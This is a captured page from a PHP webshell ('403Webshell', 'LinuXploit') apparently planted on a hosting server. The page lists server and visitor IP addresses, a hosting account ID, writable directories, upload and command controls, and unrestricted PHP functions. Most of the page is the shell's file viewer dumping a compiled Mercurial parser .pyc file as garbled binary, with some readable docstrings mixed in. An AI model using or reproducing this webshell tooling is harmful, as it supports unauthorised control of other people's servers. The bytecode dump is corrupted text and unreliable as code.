403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.216.220
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/__pycache__/parser.cpython-313.pyc
�

6�h�f���SSKJr SSKJr SSKJrJr SSKJr "SS5r	Sr
S	rS
rSr
SrS
rSrSrSrSSjrSr"SS5r"SS5rg)�)�annotations�)�_)�error�util)�
stringutilc�V�\rSrSrS
SjrSrSrSrS
SjrSSjr	S	r
S
rSrSr
g)�parser�Nc�*�XlX lSUlg�N)�	_elements�_methods�current)�self�elements�methodss   �2/usr/lib/python3/dist-packages/mercurial/parser.py�__init__�parser.__init__s��!���
����c�T�URn[URS5UlU$)zadvance the tokenizerN)r�next�_iter)r�ts  r�_advance�parser._advance#s"���L�L���D�J�J��-����rc�R�[URURSSS5$)z%True if next token may start new termrr�)�anyrr)rs r�_hasnewterm�parser._hasnewterm)s%���4�>�>�$�,�,�q�/�2�1�Q�7�8�8rc���URSU:wa=[R"[S5URS-URS5eUR	5 g)z0make sure the tokenizer matches an end conditionrsunexpected token: %s�N)rr�
ParseErrorrr)r�ms  r�_match�
parser._match-sP���<�<��?�a���"�"��)�*�T�\�\�!�_�<�d�l�l�1�o��
�	
�
�
�rc��U(aURSU:XaSnOURU5nU(aURU5 U$)zDgather right-hand-side operand until an end condition or binding
metrN)r�_parser')r�bindr&�exprs    r�
_parseoperand�parser._parseoperand5s<��
����a��A�%��D��;�;�t�$�D���K�K��N��rc���UR5up#nURUSSupVU(a U(aUR5(dXS4nOBU(aUSUR"USS64nO#[R
"[
S5U-U5eXRURSS:a�UR5up#nURUSSup�U	(a U(aUR5(dX�4nOBU(aUSXpR"USS64nO#[R
"[
S5U-U5eXRURSS:aM�U$)Nrrrsnot a prefix: %ssnot an infix: %s)rrr!r-rr%rr)
rr+�token�value�pos�primary�prefixr,�infix�suffixs
          rr*�
parser._parse@sF�� �M�M�O���c��.�.��/��!�4����F�t�'7�'7�'9�'9��#�D�
��1�I�t�1�1�6�!�"�:�>�?�D��"�"�1�%8�#9�E�#A�3�G�G��^�^�D�L�L��O�4�Q�7�7� $�
�
���E�#� �N�N�5�1�!�"�5�M�E��u��)9�)9�);�);��~����a��$�(:�(:�E�!�"�I�(F�G���&�&�q�)<�'=��'E�s�K�K��^�^�D�L�L��O�4�Q�7�7��rc�r�XlUR5 UR5nURup4nX%4$)z!generate a parse tree from tokens)rrr*r)r�	tokeniter�resr0r1r2s      r�parse�parser.parseWs0���
��
�
���k�k�m�� �L�L���c��x�rc��[U[5(dU$URUS"USSVs/sHo RU5PM sn6$s snf)z4recursively evaluate a parse tree using node methodsrrN)�
isinstance�tupler�eval)r�treers   rr@�parser.eval_sJ���$��&�&��K��}�}�T�!�W�%�d�1�2�h�'G�h��	�	�!��h�'G�H�H��'Gs�Ac�l�URU5nUR(aURU5$U$)z<parse tokens into a parse tree and evaluate if methods given)r;rr@)rr9rs   r�__call__�parser.__call__es*���J�J�y�!���=�=��9�9�Q�<���r)rrrrr
)r)�__name__�
__module__�__qualname__�__firstlineno__rrr!r'r-r*r;r@rD�__static_attributes__�rrr
r
s0���
�9��	��.�I�rr
c��SnURS5up#nU(aWUR5nU(d[R"S5e[	U5S:�a[R"S5eUSnURS5up#nUR5nUR5nU(a(U(d[R"S5eXeSUSSU4$/SXa4$)	aZParse spec of function arguments into (poskeys, varkey, keys, optkey)

>>> splitargspec(b'')
([], None, [], None)
>>> splitargspec(b'foo bar')
([], None, ['foo', 'bar'], None)
>>> splitargspec(b'foo *bar baz **qux')
(['foo'], 'bar', ['baz'], 'qux')
>>> splitargspec(b'*foo')
([], 'foo', [], None)
>>> splitargspec(b'**foo')
([], None, [], 'foo')
Ns**sno **optkey name providedrs!excessive **optkey names providedr�*sno *varkey name provided)�	partition�splitr�ProgrammingError�len)�spec�optkey�pre�sep�post�posts�press       r�splitargspecrYms����F��^�^�E�*�N�C�d�
��
�
�����(�(�)E�F�F��u�:��>��(�(�)M�N�N��q����]�]�4�(�N�C�d��9�9�;�D��J�J�L�E�
���(�(�)D�E�E��1�X�u�Q�R�y�&�0�0�
�t�T�!�!rc�^�UupVpx[U4Sj[U55[U55n	U	[U5:a.[R"[S5U[U5S.-5eU(dUU	[U5[U5-:�a:[R"[S5U[U5[U5-S.-5e[R"5n
[XPSU	5H	up�X�U'M U(aU[U
5U	X�'O$[Xp[U
5U	5H	up�X�U'M U(a[R"5X�'X	SH�nU(aUST:wdUSSU:wa$[R"[S5S	U0-5eUSSnX�;aU
n
O/U(d$[R"[S
5XS.-5eX�n
X�;a$[R"[S5XS.-5eUS
X�'M� U
$)ayBuild dict from list containing positional and keyword arguments

Arguments are specified by a tuple of ``(poskeys, varkey, keys, optkey)``
where

- ``poskeys``: list of names of positional arguments
- ``varkey``: optional argument name that takes up remainder
- ``keys``: list of names that can be either positional or keyword arguments
- ``optkey``: optional argument name that takes up excess keyword arguments

If ``varkey`` specified, all ``keys`` must be given as keyword arguments.

Invalid keywords, too few positional arguments, or too many positional
arguments are rejected, but missing keyword arguments are just omitted.
c3�T># �UHupU(dMUST:XdMUv� M g7f�rNrK)�.0�i�x�keyvaluenodes   �r�	<genexpr>� buildargsdict.<locals>.<genexpr>�s&����F�'�t�q�1���1���1E���'�s�
(�(�	(s6%(func)s takes at least %(nargs)d positional arguments)�funcsnargss5%(func)s takes at most %(nargs)d positional argumentsNrrs %(func)s got an invalid argumentrcs5%(func)s got an unexpected keyword argument '%(key)s')rcskeys;%(func)s got multiple values for keyword argument '%(key)s'r$)	r�	enumeraterQrr%rr�sortdict�zip)�trees�funcname�argspecr`�keynode�poskeys�varkey�keysrS�kwstart�args�kr_�ds   `          r�
buildargsdictrr�s��� %,�!�G�T��F�y��'�F��E�
��G���W������
�G�H� �C��L�9�
:�
�	
��g��G��s�4�y� 8�8����
�F�G� �C��L�3�t�9�,D�E�
F�
�	
��=�=�?�D��G�8�G�_�-����Q��.�
��S��Y��1�����C��I��8�9�D�A���G�:���}�}����
�8�_���A�a�D�L�(�A�a�D��G�w�,>��"�"��5�6�'�8�9L�L��
�
�a�D��G���9��A���"�"��J�K�$�0�1��
�
��A��6��"�"��*��%�0�	1��
���t���/�0�Krc���[R"U5$![a=n[R"[R
"U5R
55eSnAff=fr
)r�unescapestr�
ValueErrorrr%�forcebytestr�lower)�s�es  rrtrt�sR��C��%�%�a�(�(���C�
���z�6�6�q�9�?�?�A�B�B��C�s��
A�8A�Ac��[U[5(d(URU[R"U545 gUSU;aH[[RUSS5nURUSUSSR
U54-45 gURUSUS-45 USSHn[XQUS-U5 M USSUSSS-4/USS&g)Nrrs(%s %s)� s(%s����))r>r?�appendr�pprint�map�join�
_prettyformat)rA�	leafnodes�level�lines�rsrxs      rr�r��s����d�E�"�"�
���e�Z�.�.�t�4�5�6�	
�a��I�	�
��"�"�D���H�
-��
���e�Z�4��7�D�I�I�b�M�*B�B�C�D�
���e�V�d�1�g�-�.�/��a�b��A��!���	�5�9���R�y��|�U�2�Y�q�\�D�%8�9�:��b�c�
rc�T�/n[XSU5 SRSU55nU$)Nr�
c3�6# �UHupSU-U-v� M g7f)s  NrK)r]�lrxs   rra�prettyformat.<locals>.<genexpr>�s���:�E�D�A����Q��E�s�)r�r�)rAr�r��outputs    r�prettyformatr��s,���E��$�1�e�,�
�Z�Z�:�E�:�
:�F��Mrc�x^�[U[5(dU$USnUT;aU4[U4SjUSS55-$/nUnUSU:Xa/USSupVUR[UT55 UnUSU:XaM/UR[UT55 URU5 [[	U55$)a{Flatten chained infix operations to reduce usage of Python stack

>>> from . import pycompat
>>> def f(tree):
...     s = prettyformat(simplifyinfixops(tree, (b'or',)), (b'symbol',))
...     print(pycompat.sysstr(s))
>>> f((b'or',
...     (b'or',
...       (b'symbol', b'1'),
...       (b'symbol', b'2')),
...     (b'symbol', b'3')))
(or
  (symbol '1')
  (symbol '2')
  (symbol '3'))
>>> f((b'func',
...     (b'symbol', b'p1'),
...     (b'or',
...       (b'or',
...         (b'func',
...           (b'symbol', b'sort'),
...           (b'list',
...             (b'or',
...               (b'or',
...                 (b'symbol', b'1'),
...                 (b'symbol', b'2')),
...               (b'symbol', b'3')),
...             (b'negate',
...               (b'symbol', b'rev')))),
...         (b'and',
...           (b'symbol', b'4'),
...           (b'group',
...             (b'or',
...               (b'or',
...                 (b'symbol', b'5'),
...                 (b'symbol', b'6')),
...               (b'symbol', b'7'))))),
...       (b'symbol', b'8'))))
(func
  (symbol 'p1')
  (or
    (func
      (symbol 'sort')
      (list
        (or
          (symbol '1')
          (symbol '2')
          (symbol '3'))
        (negate
          (symbol 'rev'))))
    (and
      (symbol '4')
      (group
        (or
          (symbol '5')
          (symbol '6')
          (symbol '7'))))
    (symbol '8')))
rc3�<># �UHn[UT5v� M g7fr
)�simplifyinfixops)r]r_�targetnodess  �rra�#simplifyinfixops.<locals>.<genexpr>5s����P�x�!�-�a��=�=�x�s�rN)r>r?r~r��reversed)rAr��op�
simplifiedr_r��rs `     rr�r��s����x�d�E�"�"���	
�a��B�	����u�u�P�t�A�B�x�P�P�P�P�
�J��A�
�A�$�"�*����u������*�1�k�:�;�
���A�$�"�*����&�q�+�6�7����b����*�%�&�&rc�^^�UT:XaTR5$[U[5(dU$[UU4SjU55$)Nc3�>># �UHn[UTT5v� M g7fr
)�
_buildtree)r]r_�placeholder�	replstacks  ��rra�_buildtree.<locals>.<genexpr>Js����I��1��A�{�I�6�6��s�)�popr>r?)�templater�r�s ``rr�r�Es:����;���}�}����h��&�&����I��I�I�Irc���[U[5(d[R"S5e[	[U55n[
XU5nU(a[R"S5eU$)a�Create new tree by substituting placeholders by replacements

>>> _ = (b'symbol', b'_')
>>> def f(template, *repls):
...     return buildtree(template, _, *repls)
>>> f((b'func', (b'symbol', b'only'), (b'list', _, _)),
...   ('symbol', '1'), ('symbol', '2'))
('func', ('symbol', 'only'), ('list', ('symbol', '1'), ('symbol', '2')))
>>> f((b'and', _, (b'not', _)), (b'symbol', b'1'), (b'symbol', b'2'))
('and', ('symbol', '1'), ('not', ('symbol', '2')))
� placeholder must be a node tuplestoo many replacements)r>r?rrP�listr�r�)r�r��replsr�r�s     r�	buildtreer�MsW���k�5�)�)��$�$�%H�I�I��X�e�_�%�I��8�)�4�A���$�$�%=�>�>��Hrc�^^^�X:Xag[U[5(a[U[5(dgUT:XaUST;aTRU5 g[U5[U5:wag[	UUU4Sj[X555$)NTFrc3�D># �UHup[XTTT5v� M g7fr
)�
_matchtree)r]�pr_�incompletenodes�matchesr�s   ���rra�_matchtree.<locals>.<genexpr>ls(�����&�D�A�	�1��o�w�?�?�&�s� )r>r?r~rQ�allrf��patternrAr�r�r�s  ```rr�r�bs{�������g�u�%�%�Z��e�-D�-D���+��$�q�'��"@����t���
�7�|�s�4�y� ������&���rNc��Ub+[U[5(d[R"S5eU/n[	XX#U5(aU$g)a�If a tree matches the pattern, return a list of the tree and nodes
matched with the placeholder; Otherwise None

>>> def f(pattern, tree):
...     m = matchtree(pattern, tree, _, {b'keyvalue', b'list'})
...     if m:
...         return m[1:]

>>> _ = (b'symbol', b'_')
>>> f((b'func', (b'symbol', b'ancestors'), _),
...   (b'func', (b'symbol', b'ancestors'), (b'symbol', b'1')))
[('symbol', '1')]
>>> f((b'func', (b'symbol', b'ancestors'), _),
...   (b'func', (b'symbol', b'ancestors'), None))
>>> f((b'range', (b'dagrange', _, _), _),
...   (b'range',
...     (b'dagrange', (b'symbol', b'1'), (b'symbol', b'2')),
...     (b'symbol', b'3')))
[('symbol', '1'), ('symbol', '2'), ('symbol', '3')]

The placeholder does not match the specified incomplete nodes because
an incomplete node (e.g. argument list) cannot construct an expression.

>>> f((b'func', (b'symbol', b'ancestors'), _),
...   (b'func', (b'symbol', b'ancestors'),
...     (b'list', (b'symbol', b'1'), (b'symbol', b'2'))))

The placeholder may be omitted, but which shouldn't match a None node.

>>> _ = None
>>> f((b'func', (b'symbol', b'ancestors'), None),
...   (b'func', (b'symbol', b'ancestors'), (b'symbol', b'0')))
Nr�)r>r?rrPr�r�s     r�	matchtreer�rsJ��D��z�+�u�'E�'E��$�$�%H�I�I��f�G��'��w�G�G���Hrc�|�URb$[S5URUR4-$UR$)z6Compose error message from specified ParseError objects	at %d: %s)�locationr�message)�insts r�parseerrordetailr��s2���}�}� ����$�-�-����!>�>�>��|�|�rc��\rSrSrSrSrSrg)�aliasi�zParsed result of aliasc�B�XlX lX0lX@lSUlg)NF)�nameror�replacement�warned)rr�ro�errr�s     rr�alias.__init__�s ���	��	��
�&����r)rorr�r�r�N)rFrGrHrI�__doc__rrJrKrrr�r��s
�� �rr�c���\rSrSrSrSrSrSr\S5r	\S5r
\S5r\S	5r
\S
5r\S5r\S5r\S
5r\S5r\S5r\S5rSrg)�basealiasrulesi�a[Parsing and expansion rule set of aliases

This is a helper for fileset/revset/template aliases. A concrete rule set
should be made by sub-classing this and implementing class/static methods.

It supports alias expansion of symbol and function-call styles::

    # decl = defn
    h = heads(default)
    b($1) = ancestors($1) - ancestors(default)
Nssymbolc�2�[SUR-5e)Ns'%s' is not instantiatable)�	TypeErrorrF)�clss r�__new__�basealiasrules.__new__�s���5����D�E�Erc��[e)z-Parse an alias name, arguments and definition��NotImplementedError)rRs rr*�basealiasrules._parse��
��"�!rc��[e)z9Return (name, args) if tree is a function; otherwise Noner�)rAs r�_trygetfunc�basealiasrules._trygetfunc�r�rc�^�TRU5nUSTR:Xa1USnURS5(aUS[
S5U-4$USS4$TRU5nU(a�UupFURS5(aUS[
S5U-4$[U4SjU55(aUS[
S54$[U5[[U55:waUS[
S	54$XFVs/sHowSPM	 snS4$US[
S
54$![RanUS[U54sSnA$SnAff=fs snf)aIParse an alias declaration into ``(name, args, errorstr)``

This function analyzes the parsed tree. The parsing rule is provided
by ``_parse()``.

- ``name``: of declared alias (may be ``decl`` itself at error)
- ``args``: list of argument names (or None for symbol declaration)
- ``errorstr``: detail about detected error (or None)

>>> sym = lambda x: (b'symbol', x)
>>> symlist = lambda *xs: (b'list',) + tuple(sym(x) for x in xs)
>>> func = lambda n, a: (b'func', sym(n), a)
>>> parsemap = {
...     b'foo': sym(b'foo'),
...     b'$foo': sym(b'$foo'),
...     b'foo::bar': (b'dagrange', sym(b'foo'), sym(b'bar')),
...     b'foo()': func(b'foo', None),
...     b'$foo()': func(b'$foo', None),
...     b'foo($1, $2)': func(b'foo', symlist(b'$1', b'$2')),
...     b'foo(bar_bar, baz.baz)':
...         func(b'foo', symlist(b'bar_bar', b'baz.baz')),
...     b'foo(bar($1, $2))':
...         func(b'foo', func(b'bar', symlist(b'$1', b'$2'))),
...     b'foo($1, $2, nested($1, $2))':
...         func(b'foo', (symlist(b'$1', b'$2') +
...                      (func(b'nested', symlist(b'$1', b'$2')),))),
...     b'foo("bar")': func(b'foo', (b'string', b'bar')),
...     b'foo($1, $2': error.ParseError(b'unexpected token: end', 10),
...     b'foo("bar': error.ParseError(b'unterminated string', 5),
...     b'foo($1, $2, $1)': func(b'foo', symlist(b'$1', b'$2', b'$1')),
... }
>>> def parse(expr):
...     x = parsemap[expr]
...     if isinstance(x, Exception):
...         raise x
...     return x
>>> def trygetfunc(tree):
...     if not tree or tree[0] != b'func' or tree[1][0] != b'symbol':
...         return None
...     if not tree[2]:
...         return tree[1][1], []
...     if tree[2][0] == b'list':
...         return tree[1][1], list(tree[2][1:])
...     return tree[1][1], [tree[2]]
>>> class aliasrules(basealiasrules):
...     _parse = staticmethod(parse)
...     _trygetfunc = staticmethod(trygetfunc)
>>> builddecl = aliasrules._builddecl
>>> builddecl(b'foo')
('foo', None, None)
>>> builddecl(b'$foo')
('$foo', None, "invalid symbol '$foo'")
>>> builddecl(b'foo::bar')
('foo::bar', None, 'invalid format')
>>> builddecl(b'foo()')
('foo', [], None)
>>> builddecl(b'$foo()')
('$foo()', None, "invalid function '$foo'")
>>> builddecl(b'foo($1, $2)')
('foo', ['$1', '$2'], None)
>>> builddecl(b'foo(bar_bar, baz.baz)')
('foo', ['bar_bar', 'baz.baz'], None)
>>> builddecl(b'foo($1, $2, nested($1, $2))')
('foo($1, $2, nested($1, $2))', None, 'invalid argument list')
>>> builddecl(b'foo(bar($1, $2))')
('foo(bar($1, $2))', None, 'invalid argument list')
>>> builddecl(b'foo("bar")')
('foo("bar")', None, 'invalid argument list')
>>> builddecl(b'foo($1, $2')
('foo($1, $2', None, 'at 10: unexpected token: end')
>>> builddecl(b'foo("bar')
('foo("bar', None, 'at 5: unterminated string')
>>> builddecl(b'foo($1, $2, $1)')
('foo', None, 'argument names collide with each other')
Nrr�$�invalid symbol '%s'sinvalid function '%s'c3�F># �UHoSTR:gv� M g7fr\)�_symbolnode)r]rr�s  �rra�,basealiasrules._builddecl.<locals>.<genexpr>/s����9�D�q�Q�4�3�?�?�*�D�s�!sinvalid argument lists&argument names collide with each othersinvalid format)r*rr%r�r��
startswithrr�r rQ�set)r��declrAr�r��funcrors`       r�
_builddecl�basealiasrules._builddecl�sX���Z	8��:�:�d�#�D���7�c�o�o�%���7�D����t�$�$��d�A�&<�$=��$D�E�E��$��%�%����t�$����J�D����t�$�$��d�A�&>�$?�$�$F�G�G��9�D�9�9�9��d�A�&>�$?�@�@��4�y�C��D�	�N�*����?�@���
��.��A�Q�4��.��5�5��d�A�/�0�1�1��5���	8��$� 0�� 6�7�7��	8��0/s#�D�6E�E�+
D>�8E�>Ec�P^^�[U[5(dU$USnUTR:waU4[UU4SjUSS55-$[U5S:XdeUSnUT;aSnX44$UR	S5(a"[
R"[S5U-5eX44$)	z%Mark alias arguments as ``_aliasarg``rc3�H># �UHnTRUT5v� M g7fr
)�_relabelargs)r]r_ror�s  ��rra�.basealiasrules._relabelargs.<locals>.<genexpr>Bs!���� M�H�q��!1�!1�!�T�!:�!:�H���"rNr$�	_aliasargr�r�)r>r?r�rQr�rr%r)r�rAror��syms` `  rr��basealiasrules._relabelargs;s�����$��&�&��K�
�!�W��
���� ��5�5� M�D���H� M�M�M�M��4�y�A�~��~��1�g���$�;��B��y���^�^�D�
!�
!��"�"�1�%;�#<�s�#B�C�C��y�rc��URU5nU(a[U5nO
[5nURX25$)a�Parse an alias definition into a tree and marks substitutions

This function marks alias argument references as ``_aliasarg``. The
parsing rule is provided by ``_parse()``.

``args`` is a list of alias argument names, or None if the alias
is declared as a symbol.

>>> from . import pycompat
>>> parsemap = {
...     b'$1 or foo': (b'or', (b'symbol', b'$1'), (b'symbol', b'foo')),
...     b'$1 or $bar':
...         (b'or', (b'symbol', b'$1'), (b'symbol', b'$bar')),
...     b'$10 or baz':
...         (b'or', (b'symbol', b'$10'), (b'symbol', b'baz')),
...     b'"$1" or "foo"':
...         (b'or', (b'string', b'$1'), (b'string', b'foo')),
... }
>>> class aliasrules(basealiasrules):
...     _parse = staticmethod(parsemap.__getitem__)
...     _trygetfunc = staticmethod(lambda x: None)
>>> builddefn = aliasrules._builddefn
>>> def pprint(tree):
...     s = prettyformat(tree, (b'_aliasarg', b'string', b'symbol'))
...     print(pycompat.sysstr(s))
>>> args = [b'$1', b'$2', b'foo']
>>> pprint(builddefn(b'$1 or foo', args))
(or
  (_aliasarg '$1')
  (_aliasarg 'foo'))
>>> try:
...     builddefn(b'$1 or $bar', args)
... except error.ParseError as inst:
...     print(pycompat.sysstr(parseerrordetail(inst)))
invalid symbol '$bar'
>>> args = [b'$1', b'$10', b'foo']
>>> pprint(builddefn(b'$10 or baz', args))
(or
  (_aliasarg '$10')
  (symbol 'baz'))
>>> pprint(builddefn(b'"$1" or "foo"', args))
(or
  (string '$1')
  (string 'foo'))
)r*r�r�)r��defnrorAs    r�
_builddefn�basealiasrules._builddefnLs7��^�z�z�$�����t�9�D��5�D�����+�+rc�4�S=p4URU5upVnU(a[S5nOURX&5nU(aUURUUS.-n[XVXs5$![Ra n[U5n[S5nSnANUSnAff=f)z>Parse an alias declaration and definition into an alias objectNs4bad declaration of %(section)s "%(name)s": %(error)ss3bad definition of %(section)s "%(name)s": %(error)s)�section�nameserror)r�rr�rr%r��_sectionr�)	r�r�r��repl�efmtr�ror�r�s	         r�build�basealiasrules.build�s�������.�.��.���C���L�M�D�
Q��~�~�d�1�����L�L�����C�
�T��+�+���#�#�
Q�&�t�,���O�P���
Q�s�A#�#B�7B�Bc�^�0nUH$up4URX45nXRUR'M& U$)zLParse a list of alias (name, replacement) pairs into a dict of
alias objects)r�r�)r��items�aliasesr�r��as      r�buildmap�basealiasrules.buildmap�s5�����J�D��	�	�$�%�A��A�F�F�O� ��rc�:�[U[5(dgUSUR:Xa.USnURU5nU(aURcUS4$URU5nU(a,Uup6URU5nU(aURbXF4$g)zbIf tree looks like an unexpanded alias, return (alias, pattern-args)
pair. Return None otherwise.
Nrr)r>r?r��getror�)r�r�rAr�r�r�ros       r�	_getalias�basealiasrules._getalias�s���
�$��&�&����7�c�o�o�%���7�D����D�!�A��Q�V�V�^��$�w�����t�$����J�D����D�!�A��Q�V�V�'��w��rc�^^�[U[5(dU$USS:Xa
USnTU$[UU4SjU55$)z_Replace _aliasarg instances with the substitution value of the
same name in args, recursively.
rr�rc3�H># �UHnTRUT5v� M g7fr
)�_expandargs)r]rror�s  ��rra�-basealiasrules._expandargs.<locals>.<genexpr>�s����<�t�!�S�_�_�Q��-�-�t�r�)r>r?)r�rAror�s` ` rr��basealiasrules._expandargs�sG���
�$��&�&��K���7�l�"��q�'�C���9���<�t�<�<�<rc	�^^^^�[U[5(dU$TRTU5nUc[UUUU4SjU55$UupgUR(a [R"UR5eUT;a9[R
"[
S5TRURS.-5eTRU5 URT;a+TRTURTT5TUR'TURnTR5 URcU$[U5[UR5:wa+[R
"[
S5[U5-5eUV	s/sHn	TRTU	/T5PM nn	TRU[![#URU555$s sn	f)Nc3�L># �UHnTRTUTT5v� M g7fr
��_expand)r]rr��cacher��	expandings  ����rra�)basealiasrules._expand.<locals>.<genexpr>�s&�����CG�a����G�Q�	�5�9�9�4�s�!$s5infinite expansion of %(section)s "%(name)s" detected)r�r�sinvalid number of arguments: %d)r>r?r�r�Abortr%rr�r�r~r�r�r�rorQr��dictrf)
r�r�rArrr�r�r��resultrs
`` ``     rr��basealiasrules._expand�s�����$��&�&��K��M�M�'�4�(���9���CG���
�����7�7��+�+�a�g�g�&�&��	�>��"�"��J�K�"�|�|�a�f�f�=�>��
�
	������6�6����K�K�����	�5��E�!�&�&�M��q�v�v����
�
���6�6�>��M��q�6�S����[� ��"�"��4�5��A��>��
�:;�;��A�S�[�[��!�R��
/���;����v�t�C�����N�';�<�<��
<s�Gc�(�URX/05$)zoExpand aliases in tree, recursively.

'aliases' is a dictionary mapping user defined aliases to alias objects.
r�)r�r�rAs   r�expand�basealiasrules.expand�s���{�{�7�"�b�1�1rrK)rFrGrHrIr�r�r�r��staticmethodr*r��classmethodr�r�r�r�r�r�r�r�rrJrKrrr�r��s���
��H��K�F��"��"��"��"��h2��h2�T���� �3,��3,�j�,��,�(��������&�	=��	=�� =�� =�D�2��2rr�)NrK)�
__future__r�i18nr�rr�utilsrr
rYrrrtr�r�r�r�r�r�r�r�r�r�rKrr�<module>rsy��&#����M�M�`"�DC�LC�
;��M'�`J�
�*
� &�R���y2�y2r

Youez - 2016 - github.com/yon3zu
LinuXploit